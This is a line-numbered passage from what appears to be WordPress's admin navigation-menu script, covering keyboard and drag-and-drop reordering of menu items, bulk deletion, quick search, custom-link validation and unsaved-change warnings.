781 api.refreshAdvancedAccessibilityOfItem( this );
782 } );
783 },
784
785 refreshKeyboardAccessibility : function() {
786 $( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){
787 $(this).off( 'keydown' ).on( 'keydown', function(e){
788
789 var arrows,
790 $this = $( this ),
791 thisItem = $this.parents( 'li.menu-item' ),
792 thisItemData = thisItem.getItemData();
793
794 // Bail if it's not an arrow key.
795 if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which )
796 return;
797
798 // Avoid multiple keydown events.
799 $this.off('keydown');
800
801 // Bail if there is only one menu item.
802 if ( 1 === $('#menu-to-edit li').length )
803 return;
804
805 // If RTL, swap left/right arrows.
806 arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' };
807 if ( $('body').hasClass('rtl') )
808 arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' };
809
810 switch ( arrows[e.which] ) {
811 case 'up':
812 api.moveMenuItem( $this, 'up' );
813 break;
814 case 'down':
815 api.moveMenuItem( $this, 'down' );
816 break;
817 case 'left':
818 api.moveMenuItem( $this, 'left' );
819 break;
820 case 'right':
821 api.moveMenuItem( $this, 'right' );
822 break;
823 }
824 // Put focus back on same menu item.
825 $( '#edit-' + thisItemData['menu-item-db-id'] ).trigger( 'focus' );
826 return false;
827 });
828 });
829 },
830
831 initPreviewing : function() {
832 // Update the item handle title when the navigation label is changed.
833 $( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) {
834 var input = $( e.currentTarget ), title, titleEl;
835 title = input.val();
836 titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' );
837 // Don't update to empty title.
838 if ( title ) {
839 titleEl.text( title ).removeClass( 'no-title' );
840 } else {
841 titleEl.text( wp.i18n._x( '(no label)', 'missing menu item navigation label' ) ).addClass( 'no-title' );
842 }
843 } );
844 },
845
846 initToggles : function() {
847 // Init postboxes.
848 postboxes.add_postbox_toggles('nav-menus');
849
850 // Adjust columns functions for menus UI.
851 columns.useCheckboxesForHidden();
852 columns.checked = function(field) {
853 $('.field-' + field).removeClass('hidden-field');
854 };
855 columns.unchecked = function(field) {
856 $('.field-' + field).addClass('hidden-field');
857 };
858 // Hide fields.
859 api.menuList.hideAdvancedMenuItemFields();
860
861 $('.hide-postbox-tog').on( 'click', function () {
862 var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(',');
863 $.post(ajaxurl, {
864 action: 'closed-postboxes',
865 hidden: hidden,
866 closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
867 page: 'nav-menus'
868 });
869 });
870 },
871
872 initSortables : function() {
873 var currentDepth = 0, originalDepth, minDepth, maxDepth,
874 prev, next, prevBottom, nextThreshold, helperHeight, transport,
875 menuEdge = api.menuList.offset().left,
876 body = $('body'), maxChildDepth,
877 menuMaxDepth = initialMenuMaxDepth();
878
879 if( 0 !== $( '#menu-to-edit li' ).length )
880 $( '.drag-instructions' ).show();
881
882 // Use the right edge if RTL.
883 menuEdge += api.isRTL ? api.menuList.width() : 0;
884
885 api.menuList.sortable({
886 handle: '.menu-item-handle',
887 placeholder: 'sortable-placeholder',
888 items: api.options.sortableItems,
889 start: function(e, ui) {
890 var height, width, parent, children, tempHolder;
891
892 // Handle placement for RTL orientation.
893 if ( api.isRTL )
894 ui.item[0].style.right = 'auto';
895
896 transport = ui.item.children('.menu-item-transport');
897
898 // Set depths. currentDepth must be set before children are located.
899 originalDepth = ui.item.menuItemDepth();
900 updateCurrentDepth(ui, originalDepth);
901
902 // Attach child elements to parent.
903 // Skip the placeholder.
904 parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item;
905 children = parent.childMenuItems();
906 transport.append( children );
907
908 // Update the height of the placeholder to match the moving item.
909 height = transport.outerHeight();
910 // If there are children, account for distance between top of children and parent.
911 height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0;
912 height += ui.helper.outerHeight();
913 helperHeight = height;
914 height -= 2; // Subtract 2 for borders.
915 ui.placeholder.height(height);
916
917 // Update the width of the placeholder to match the moving item.
918 maxChildDepth = originalDepth;
919 children.each(function(){
920 var depth = $(this).menuItemDepth();
921 maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth;
922 });
923 width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width.
924 width += api.depthToPx(maxChildDepth - originalDepth); // Account for children.
925 width -= 2; // Subtract 2 for borders.
926 ui.placeholder.width(width);
927
928 // Update the list of menu items.
929 tempHolder = ui.placeholder.next( '.menu-item' );
930 tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder.
931 ui.placeholder.detach(); // Detach or jQuery UI will think the placeholder is a menu item.
932 $(this).sortable( 'refresh' ); // The children aren't sortable. We should let jQuery UI know.
933 ui.item.after( ui.placeholder ); // Reattach the placeholder.
934 tempHolder.css('margin-top', 0); // Reset the margin.
935
936 // Now that the element is complete, we can update...
937 updateSharedVars(ui);
938 },
939 stop: function(e, ui) {
940 var children, subMenuTitle,
941 depthChange = currentDepth - originalDepth;
942
943 // Return child elements to the list.
944 children = transport.children().insertAfter(ui.item);
945
946 // Add "sub menu" description.
947 subMenuTitle = ui.item.find( '.item-title .is-submenu' );
948 if ( 0 < currentDepth )
949 subMenuTitle.show();
950 else
951 subMenuTitle.hide();
952
953 // Update depth classes.
954 if ( 0 !== depthChange ) {
955 ui.item.updateDepthClass( currentDepth );
956 children.shiftDepthClass( depthChange );
957 updateMenuMaxDepth( depthChange );
958 }
959 // Register a change.
960 api.registerChange();
961 // Update the item data.
962 ui.item.updateParentMenuItemDBId();
963
964 // Address sortable's incorrectly-calculated top in Opera.
965 ui.item[0].style.top = 0;
966
967 // Handle drop placement for rtl orientation.
968 if ( api.isRTL ) {
969 ui.item[0].style.left = 'auto';
970 ui.item[0].style.right = 0;
971 }
972
973 api.refreshKeyboardAccessibility();
974 api.refreshAdvancedAccessibility();
975 ui.item.updateParentDropdown();
976 ui.item.updateOrderDropdown();
977 api.refreshAdvancedAccessibilityOfItem( ui.item.find( 'a.item-edit' ) );
978 },
979 change: function(e, ui) {
980 // Make sure the placeholder is inside the menu.
981 // Otherwise fix it, or we're in trouble.
982 if( ! ui.placeholder.parent().hasClass('menu') )
983 (prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder );
984
985 updateSharedVars(ui);
986 },
987 sort: function(e, ui) {
988 var offset = ui.helper.offset(),
989 edge = api.isRTL ? offset.left + ui.helper.width() : offset.left,
990 depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge );
991
992 /*
993 * Check and correct if depth is not within range.
994 * Also, if the dragged element is dragged upwards over an item,
995 * shift the placeholder to a child position.
996 */
997 if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) {
998 depth = maxDepth;
999 } else if ( depth < minDepth ) {
1000 depth = minDepth;
1001 }
1002
1003 if( depth != currentDepth )
1004 updateCurrentDepth(ui, depth);
1005
1006 // If we overlap the next element, manually shift downwards.
1007 if( nextThreshold && offset.top + helperHeight > nextThreshold ) {
1008 next.after( ui.placeholder );
1009 updateSharedVars( ui );
1010 $( this ).sortable( 'refreshPositions' );
1011 }
1012 }
1013 });
1014
1015 function updateSharedVars(ui) {
1016 var depth;
1017
1018 prev = ui.placeholder.prev( '.menu-item' );
1019 next = ui.placeholder.next( '.menu-item' );
1020
1021 // Make sure we don't select the moving item.
1022 if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' );
1023 if( next[0] == ui.item[0] ) next = next.next( '.menu-item' );
1024
1025 prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0;
1026 nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0;
1027 minDepth = (next.length) ? next.menuItemDepth() : 0;
1028
1029 if( prev.length )
1030 maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth;
1031 else
1032 maxDepth = 0;
1033 }
1034
1035 function updateCurrentDepth(ui, depth) {
1036 ui.placeholder.updateDepthClass( depth, currentDepth );
1037 currentDepth = depth;
1038 }
1039
1040 function initialMenuMaxDepth() {
1041 if( ! body[0].className ) return 0;
1042 var match = body[0].className.match(/menu-max-depth-(\d+)/);
1043 return match && match[1] ? parseInt( match[1], 10 ) : 0;
1044 }
1045
1046 function updateMenuMaxDepth( depthChange ) {
1047 var depth, newDepth = menuMaxDepth;
1048 if ( depthChange === 0 ) {
1049 return;
1050 } else if ( depthChange > 0 ) {
1051 depth = maxChildDepth + depthChange;
1052 if( depth > menuMaxDepth )
1053 newDepth = depth;
1054 } else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) {
1055 while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 )
1056 newDepth--;
1057 }
1058 // Update the depth class.
1059 body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth );
1060 menuMaxDepth = newDepth;
1061 }
1062 },
1063
1064 initManageLocations : function () {
1065 $('#menu-locations-wrap form').on( 'submit', function(){
1066 window.onbeforeunload = null;
1067 });
1068 $('.menu-location-menus select').on('change', function () {
1069 var editLink = $(this).closest('tr').find('.locations-edit-menu-link');
1070 if ($(this).find('option:selected').data('orig'))
1071 editLink.show();
1072 else
1073 editLink.hide();
1074 });
1075 },
1076
1077 attachMenuEditListeners : function() {
1078 var that = this;
1079 $('#update-nav-menu').on('click', function(e) {
1080 if ( e.target && e.target.className ) {
1081 if ( -1 != e.target.className.indexOf('item-edit') ) {
1082 return that.eventOnClickEditLink(e.target);
1083 } else if ( -1 != e.target.className.indexOf('menu-save') ) {
1084 return that.eventOnClickMenuSave(e.target);
1085 } else if ( -1 != e.target.className.indexOf('menu-delete') ) {
1086 return that.eventOnClickMenuDelete(e.target);
1087 } else if ( -1 != e.target.className.indexOf('item-delete') ) {
1088 return that.eventOnClickMenuItemDelete(e.target);
1089 } else if ( -1 != e.target.className.indexOf('item-cancel') ) {
1090 return that.eventOnClickCancelLink(e.target);
1091 }
1092 }
1093 });
1094
1095 $( '#menu-name' ).on( 'input', _.debounce( function () {
1096 var menuName = $( document.getElementById( 'menu-name' ) ),
1097 menuNameVal = menuName.val();
1098
1099 if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
1100 // Add warning for invalid menu name.
1101 menuName.parent().addClass( 'form-invalid' );
1102 } else {
1103 // Remove warning for valid menu name.
1104 menuName.parent().removeClass( 'form-invalid' );
1105 }
1106 }, 500 ) );
1107
1108 $('#add-custom-links input[type="text"]').on( 'keypress', function(e){
1109 $( '#customlinkdiv' ).removeClass( 'form-invalid' );
1110 $( '#custom-menu-item-url' ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' );
1111 $( '#custom-url-error' ).hide();
1112
1113 if ( e.keyCode === 13 ) {
1114 e.preventDefault();
1115 $( '#submit-customlinkdiv' ).trigger( 'click' );
1116 }
1117 });
1118
1119 $( '#submit-customlinkdiv' ).on( 'click', function (e) {
1120 var urlInput = $( '#custom-menu-item-url' ),
1121 url = urlInput.val().trim(),
1122 errorMessage = $( '#custom-url-error' ),
1123 urlWrap = $( '#menu-item-url-wrap' ),
1124 urlRegex;
1125
1126 // Hide the error message initially
1127 errorMessage.hide();
1128 urlWrap.removeClass( 'has-error' );
1129
1130 /*
1131 * Allow URLs including:
1132 * - http://example.com/
1133 * - //example.com
1134 * - /directory/
1135 * - ?query-param
1136 * - #target
1137 * - mailto:foo@example.com
1138 *
1139 * Any further validation will be handled on the server when the setting is attempted to be saved,
1140 * so this pattern does not need to be complete.
1141 */
1142 urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;
1143 if ( ! urlRegex.test( url ) ) {
1144 e.preventDefault();
1145 urlInput.addClass( 'form-invalid' )
1146 .attr( 'aria-invalid', 'true' )
1147 .attr( 'aria-describedby', 'custom-url-error' );
1148
1149 errorMessage.show();
1150 var errorText = errorMessage.text();
1151 urlWrap.addClass( 'has-error' );
1152 // Announce error message via screen reader
1153 wp.a11y.speak( errorText, 'assertive' );
1154 }
1155 });
1156 },
1157
1158 /**
1159 * Handle toggling bulk selection checkboxes for menu items.
1160 *
1161 * @since 5.8.0
1162 */
1163 attachBulkSelectButtonListeners : function() {
1164 var that = this;
1165
1166 $( '.bulk-select-switcher' ).on( 'change', function() {
1167 if ( this.checked ) {
1168 $( '.bulk-select-switcher' ).prop( 'checked', true );
1169 that.enableBulkSelection();
1170 } else {
1171 $( '.bulk-select-switcher' ).prop( 'checked', false );
1172 that.disableBulkSelection();
1173 }
1174 });
1175 },
1176
1177 /**
1178 * Enable bulk selection checkboxes for menu items.
1179 *
1180 * @since 5.8.0
1181 */
1182 enableBulkSelection : function() {
1183 var checkbox = $( '#menu-to-edit .menu-item-checkbox' );
1184
1185 $( '#menu-to-edit' ).addClass( 'bulk-selection' );
1186 $( '#nav-menu-bulk-actions-top' ).addClass( 'bulk-selection' );
1187 $( '#nav-menu-bulk-actions-bottom' ).addClass( 'bulk-selection' );
1188
1189 $.each( checkbox, function() {
1190 $(this).prop( 'disabled', false );
1191 });
1192 },
1193
1194 /**
1195 * Disable bulk selection checkboxes for menu items.
1196 *
1197 * @since 5.8.0
1198 */
1199 disableBulkSelection : function() {
1200 var checkbox = $( '#menu-to-edit .menu-item-checkbox' );
1201
1202 $( '#menu-to-edit' ).removeClass( 'bulk-selection' );
1203 $( '#nav-menu-bulk-actions-top' ).removeClass( 'bulk-selection' );
1204 $( '#nav-menu-bulk-actions-bottom' ).removeClass( 'bulk-selection' );
1205
1206 if ( $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
1207 $( '.menu-items-delete' ).removeAttr( 'aria-describedby' );
1208 }
1209
1210 $.each( checkbox, function() {
1211 $(this).prop( 'disabled', true ).prop( 'checked', false );
1212 });
1213
1214 $( '.menu-items-delete' ).addClass( 'disabled' );
1215 $( '#pending-menu-items-to-delete ul' ).empty();
1216 },
1217
1218 /**
1219 * Listen for state changes on bulk action checkboxes.
1220 *
1221 * @since 5.8.0
1222 */
1223 attachMenuCheckBoxListeners : function() {
1224 var that = this;
1225
1226 $( '#menu-to-edit' ).on( 'change', '.menu-item-checkbox', function() {
1227 that.setRemoveSelectedButtonStatus();
1228 });
1229 },
1230
1231 /**
1232 * Create delete button to remove menu items from collection.
1233 *
1234 * @since 5.8.0
1235 */
1236 attachMenuItemDeleteButton : function() {
1237 var that = this;
1238
1239 $( document ).on( 'click', '.menu-items-delete', function( e ) {
1240 var itemsPendingDeletion, itemsPendingDeletionList, deletionSpeech;
1241
1242 e.preventDefault();
1243
1244 if ( ! $(this).hasClass( 'disabled' ) ) {
1245 $.each( $( '.menu-item-checkbox:checked' ), function( index, element ) {
1246 $( element ).parents( 'li' ).find( 'a.item-delete' ).trigger( 'click' );
1247 });
1248
1249 $( '.menu-items-delete' ).addClass( 'disabled' );
1250 $( '.bulk-select-switcher' ).prop( 'checked', false );
1251
1252 itemsPendingDeletion = '';
1253 itemsPendingDeletionList = $( '#pending-menu-items-to-delete ul li' );
1254
1255 $.each( itemsPendingDeletionList, function( index, element ) {
1256 var itemName = $( element ).find( '.pending-menu-item-name' ).text();
1257 var itemSpeech = menus.menuItemDeletion.replace( '%s', itemName );
1258
1259 itemsPendingDeletion += itemSpeech;
1260 if ( ( index + 1 ) < itemsPendingDeletionList.length ) {
1261 itemsPendingDeletion += ', ';
1262 }
1263 });
1264
1265 deletionSpeech = menus.itemsDeleted.replace( '%s', itemsPendingDeletion );
1266 wp.a11y.speak( deletionSpeech, 'polite' );
1267 that.disableBulkSelection();
1268 $( '#menu-to-edit' ).updateParentDropdown();
1269 $( '#menu-to-edit' ).updateOrderDropdown();
1270 }
1271 });
1272 },
1273
1274 /**
1275 * List menu items awaiting deletion.
1276 *
1277 * @since 5.8.0
1278 */
1279 attachPendingMenuItemsListForDeletion : function() {
1280 $( '#post-body-content' ).on( 'change', '.menu-item-checkbox', function() {
1281 var menuItemName, menuItemType, menuItemID, listedMenuItem;
1282
1283 if ( ! $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
1284 $( '.menu-items-delete' ).attr( 'aria-describedby', 'pending-menu-items-to-delete' );
1285 }
1286
1287 menuItemName = $(this).next().text();
1288 menuItemType = $(this).parent().next( '.item-controls' ).find( '.item-type' ).text();
1289 menuItemID = $(this).attr( 'data-menu-item-id' );
1290
1291 listedMenuItem = $( '#pending-menu-items-to-delete ul' ).find( '[data-menu-item-id=' + menuItemID + ']' );
1292 if ( listedMenuItem.length > 0 ) {
1293 listedMenuItem.remove();
1294 }
1295
1296 if ( this.checked === true ) {
1297 const $li = $( '<li>', { 'data-menu-item-id': menuItemID } );
1298 $li.append( $( '<span>', {
1299 'class': 'pending-menu-item-name',
1300 text: menuItemName
1301 } ) );
1302 $li.append( ' ' );
1303 $li.append( $( '<span>', {
1304 'class': 'pending-menu-item-type',
1305 text: '(' + menuItemType + ')',
1306 } ) );
1307 $li.append( $( '<span>', { 'class': 'separator' } ) );
1308 $( '#pending-menu-items-to-delete ul' ).append( $li );
1309 }
1310
1311 $( '#pending-menu-items-to-delete li .separator' ).html( ', ' );
1312 $( '#pending-menu-items-to-delete li .separator' ).last().html( '.' );
1313 });
1314 },
1315
1316 /**
1317 * Set status of bulk delete checkbox.
1318 *
1319 * @since 5.8.0
1320 */
1321 setBulkDeleteCheckboxStatus : function() {
1322 var that = this;
1323 var checkbox = $( '#menu-to-edit .menu-item-checkbox' );
1324
1325 $.each( checkbox, function() {
1326 if ( $(this).prop( 'disabled' ) ) {
1327 $(this).prop( 'disabled', false );
1328 } else {
1329 $(this).prop( 'disabled', true );
1330 }
1331
1332 if ( $(this).is( ':checked' ) ) {
1333 $(this).prop( 'checked', false );
1334 }
1335 });
1336
1337 that.setRemoveSelectedButtonStatus();
1338 },
1339
1340 /**
1341 * Set status of menu items removal button.
1342 *
1343 * @since 5.8.0
1344 */
1345 setRemoveSelectedButtonStatus : function() {
1346 var button = $( '.menu-items-delete' );
1347
1348 if ( $( '.menu-item-checkbox:checked' ).length > 0 ) {
1349 button.removeClass( 'disabled' );
1350 } else {
1351 button.addClass( 'disabled' );
1352 }
1353 },
1354
1355 attachMenuSaveSubmitListeners : function() {
1356 /*
1357 * When a navigation menu is saved, store a JSON representation of all form data
1358 * in a single input to avoid PHP `max_input_vars` limitations. See #14134.
1359 */
1360 $( '#update-nav-menu' ).on( 'submit', function() {
1361 var navMenuData = $( '#update-nav-menu' ).serializeArray();
1362 $( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) );
1363 });
1364 },
1365
1366 attachThemeLocationsListeners : function() {
1367 var loc = $('#nav-menu-theme-locations'), params = {};
1368 params.action = 'menu-locations-save';
1369 params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val();
1370 loc.find('input[type="submit"]').on( 'click', function() {
1371 loc.find('select').each(function() {
1372 params[this.name] = $(this).val();
1373 });
1374 loc.find( '.spinner' ).addClass( 'is-active' );
1375 $.post( ajaxurl, params, function() {
1376 loc.find( '.spinner' ).removeClass( 'is-active' );
1377 });
1378 return false;
1379 });
1380 },
1381
1382 attachQuickSearchListeners : function() {
1383 var searchTimer;
1384
1385 // Prevent form submission.
1386 $( '#nav-menu-meta' ).on( 'submit', function( event ) {
1387 event.preventDefault();
1388 });
1389
1390 $( '#nav-menu-meta' ).on( 'input', '.quick-search', function() {
1391 var $this = $( this );
1392
1393 $this.attr( 'autocomplete', 'off' );
1394
1395 if ( searchTimer ) {
1396 clearTimeout( searchTimer );
1397 }
1398
1399 searchTimer = setTimeout( function() {
1400 api.updateQuickSearchResults( $this );
1401 }, 500 );
1402 }).on( 'blur', '.quick-search', function() {
1403 api.lastSearch = '';
1404 });
1405 },
1406
1407 updateQuickSearchResults : function(input) {
1408 var panel, params,
1409 minSearchLength = 1,
1410 q = input.val(),
1411 pageSearchChecklist = $( '#page-search-checklist' );
1412
1413 /*
1414 * Avoid a new Ajax search when the pressed key (e.g. arrows)
1415 * doesn't change the searched term.
1416 */
1417 if ( api.lastSearch == q ) {
1418 return;
1419 }
1420
1421 /*
1422 * Reset results when search is less than or equal to
1423 * minimum characters for searched term.
1424 */
1425 if ( q.length <= minSearchLength ) {
1426 pageSearchChecklist.empty();
1427 wp.a11y.speak( wp.i18n.__( 'Search results cleared' ) );
1428 return;
1429 }
1430
1431 api.lastSearch = q;
1432
1433 panel = input.parents('.tabs-panel');
1434 params = {
1435 'action': 'menu-quick-search',
1436 'response-format': 'markup',
1437 'menu': $('#menu').val(),
1438 'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(),
1439 'q': q,
1440 'type': input.attr('name')
1441 };
1442
1443 $( '.spinner', panel ).addClass( 'is-active' );
1444
1445 $.post( ajaxurl, params, function(menuMarkup) {
1446 api.processQuickSearchQueryResponse(menuMarkup, params, panel);
1447 });
1448 },
1449
1450 addCustomLink : function( processMethod ) {
1451 var url = $('#custom-menu-item-url').val().toString(),
1452 label = $('#custom-menu-item-name').val(),
1453 urlRegex;
1454
1455 if ( '' !== url ) {
1456 url = url.trim();
1457 }
1458
1459 processMethod = processMethod || api.addMenuItemToBottom;
1460
1461 /*
1462 * Allow URLs including:
1463 * - http://example.com/
1464 * - //example.com
1465 * - /directory/
1466 * - ?query-param
1467 * - #target
1468 * - mailto:foo@example.com
1469 *
1470 * Any further validation will be handled on the server when the setting is attempted to be saved,
1471 * so this pattern does not need to be complete.
1472 */
1473 urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;
1474 if ( ! urlRegex.test( url ) ) {
1475 $('#customlinkdiv').addClass('form-invalid');
1476 return false;
1477 }
1478
1479 // Show the Ajax spinner.
1480 $( '.customlinkdiv .spinner' ).addClass( 'is-active' );
1481 this.addLinkToMenu( url, label, processMethod, function() {
1482 // Remove the Ajax spinner.
1483 $( '.customlinkdiv .spinner' ).removeClass( 'is-active' );
1484 // Set custom link form back to defaults.
1485 $('#custom-menu-item-name').val('').trigger( 'blur' );
1486 $( '#custom-menu-item-url' ).val( '' ).attr( 'placeholder', 'https://' );
1487 });
1488 },
1489
1490 addLinkToMenu : function(url, label, processMethod, callback) {
1491 processMethod = processMethod || api.addMenuItemToBottom;
1492 callback = callback || function(){};
1493
1494 api.addItemToMenu({
1495 '-1': {
1496 'menu-item-type': 'custom',
1497 'menu-item-url': url,
1498 'menu-item-title': label
1499 }
1500 }, processMethod, callback);
1501 },
1502
1503 addItemToMenu : function(menuItem, processMethod, callback) {
1504 var menu = $('#menu').val(),
1505 nonce = $('#menu-settings-column-nonce').val(),
1506 params;
1507
1508 processMethod = processMethod || function(){};
1509 callback = callback || function(){};
1510
1511 params = {
1512 'action': 'add-menu-item',
1513 'menu': menu,
1514 'menu-settings-column-nonce': nonce,
1515 'menu-item': menuItem
1516 };
1517
1518 $.post( ajaxurl, params, function(menuMarkup) {
1519 var ins = $('#menu-instructions');
1520
1521 menuMarkup = menuMarkup || '';
1522 menuMarkup = menuMarkup.toString().trim(); // Trim leading whitespaces.
1523 processMethod(menuMarkup, params);
1524
1525 // Make it stand out a bit more visually, by adding a fadeIn.
1526 $( 'li.pending' ).hide().fadeIn('slow');
1527 $( '.drag-instructions' ).show();
1528 if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length )
1529 ins.addClass( 'menu-instructions-inactive' );
1530
1531 callback();
1532 });
1533 },
1534
1535 /**
1536 * Process the add menu item request response into menu list item. Appends to menu.
1537 *
1538 * @param {string} menuMarkup The text server response of menu item markup.
1539 *
1540 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
1541 */
1542 addMenuItemToBottom : function( menuMarkup ) {
1543 var $menuMarkup = $( menuMarkup );
1544 $menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList );
1545 api.refreshKeyboardAccessibility();
1546 api.refreshAdvancedAccessibility();
1547 wp.a11y.speak( menus.itemAdded );
1548 $( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
1549 },
1550
1551 /**
1552 * Process the add menu item request response into menu list item. Prepends to menu.
1553 *
1554 * @param {string} menuMarkup The text server response of menu item markup.
1555 *
1556 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
1557 */
1558 addMenuItemToTop : function( menuMarkup ) {
1559 var $menuMarkup = $( menuMarkup );
1560 $menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList );
1561 api.refreshKeyboardAccessibility();
1562 api.refreshAdvancedAccessibility();
1563 wp.a11y.speak( menus.itemAdded );
1564 $( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
1565 },
1566
1567 attachUnsavedChangesListener : function() {
1568 $('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').on( 'change', function(){
1569 api.registerChange();
1570 });
1571
1572 if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) {
1573 window.onbeforeunload = function(){
1574 if ( api.menusChanged )
1575 return wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
1576 };
1577 } else {
1578 // Make the post boxes read-only, as they can't be used yet.
1579 $( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).off( 'click' );
1580 }
1581 },
1582
1583 registerChange : function() {
1584 api.menusChanged = true;
1585 },
1586
1587 attachTabsPanelListeners : function() {
1588 $('#menu-settings-column').on('click', function(e) {
1589 var selectAreaMatch, selectAll, panelId, wrapper, items,
1590 target = $(e.target);
1591
1592 if ( target.hasClass('nav-tab-link') ) {
1593
1594 panelId = target.data( 'type' );
1595
1596 wrapper = target.parents('.accordion-section-content').first();
1597
1598 // Upon changing tabs, we want to uncheck all checkboxes.
1599 $( 'input', wrapper ).prop( 'checked', false );
1600
1601 $('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive');
1602 $('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active');
1603
1604 $('.tabs', wrapper).removeClass('tabs');
1605 target.parent().addClass('tabs');
1606
1607 // Select the search bar.
1608 $('.quick-search', wrapper).trigger( 'focus' );
1609
1610 // Hide controls in the search tab if no items found.
1611 if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) {
1612 wrapper.addClass( 'has-no-menu-item' );
1613 } else {
1614 wrapper.removeClass( 'has-no-menu-item' );
1615 }
1616
1617 e.preventDefault();
1618 } else if ( target.hasClass( 'select-all' ) ) {
1619 selectAreaMatch = target.closest( '.button-controls' ).data( 'items-type' );
1620 if ( selectAreaMatch ) {
1621 items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );
1622
1623 if ( items.length === items.filter( ':checked' ).length && ! target.is( ':checked' ) ) {
1624 items.prop( 'checked', false );
1625 } else if ( target.is( ':checked' ) ) {
1626 items.prop( 'checked', true );
1627 }
1628 }
1629 } else if ( target.hasClass( 'menu-item-checkbox' ) ) {
1630 selectAreaMatch = target.closest( '.tabs-panel-active' ).parent().attr( 'id' );
1631 if ( selectAreaMatch ) {
1632 items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );
1633 selectAll = $( '.button-controls[data-items-type="' + selectAreaMatch + '"] .select-all' );
1634
1635 if ( items.length === items.filter( ':checked' ).length && ! selectAll.is( ':checked' ) ) {
1636 selectAll.prop( 'checked', true );
1637 } else if ( selectAll.is( ':checked' ) ) {
1638 selectAll.prop( 'checked', false );
1639 }
1640 }
1641 } else if ( target.hasClass('submit-add-to-menu') ) {
1642 api.registerChange();
1643
1644 if ( e.target.id && 'submit-customlinkdiv' == e.target.id )
1645 api.addCustomLink( api.addMenuItemToBottom );
1646 else if ( e.target.id && -1 != e.target.id.indexOf('submit-') )
1647 $('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom );
1648 return false;
1649 }
1650 });
1651
1652 /*
1653 * Delegate the `click` event and attach it just to the pagination
1654 * links thus excluding the current page `<span>`. See ticket #35577.
1655 */
1656 $( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() {
1657 var $container = $( this ).closest( '.inside' );
1658
1659 $.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox',
1660 function( resp ) {
1661 var metaBoxData = JSON.parse( resp ),
1662 toReplace;
1663
1664 if ( -1 === resp.indexOf( 'replace-id' ) ) {
1665 return;
1666 }
1667
1668 // Get the post type menu meta box to update.
1669 toReplace = document.getElementById( metaBoxData['replace-id'] );
1670
1671 if ( ! metaBoxData.markup || ! toReplace ) {
1672 return;
1673 }
1674
1675 // Update the post type menu meta box with new content from the response.
1676 $container.html( metaBoxData.markup );
1677 }
1678 );
1679
1680 return false;
1681 });
1682 },
1683
1684 eventOnClickEditLink : function(clickedEl) {
1685 var settings, item,
1686 matchedSection = /#(.*)$/.exec(clickedEl.href);
1687
1688 if ( matchedSection && matchedSection[1] ) {
1689 settings = $('#'+matchedSection[1]);
1690 item = settings.parent();
1691 if( 0 !== item.length ) {
1692 if( item.hasClass('menu-item-edit-inactive') ) {
1693 if( ! settings.data('menu-item-data') ) {
1694 settings.data( 'menu-item-data', settings.getItemData() );
1695 }
1696 settings.slideDown('fast');
1697 item.removeClass('menu-item-edit-inactive')
1698 .addClass('menu-item-edit-active');
1699 } else {
1700 settings.slideUp('fast');
1701 item.removeClass('menu-item-edit-active')
1702 .addClass('menu-item-edit-inactive');
1703 }
1704 return false;
1705 }
1706 }
1707 },
1708
1709 eventOnClickCancelLink : function(clickedEl) {
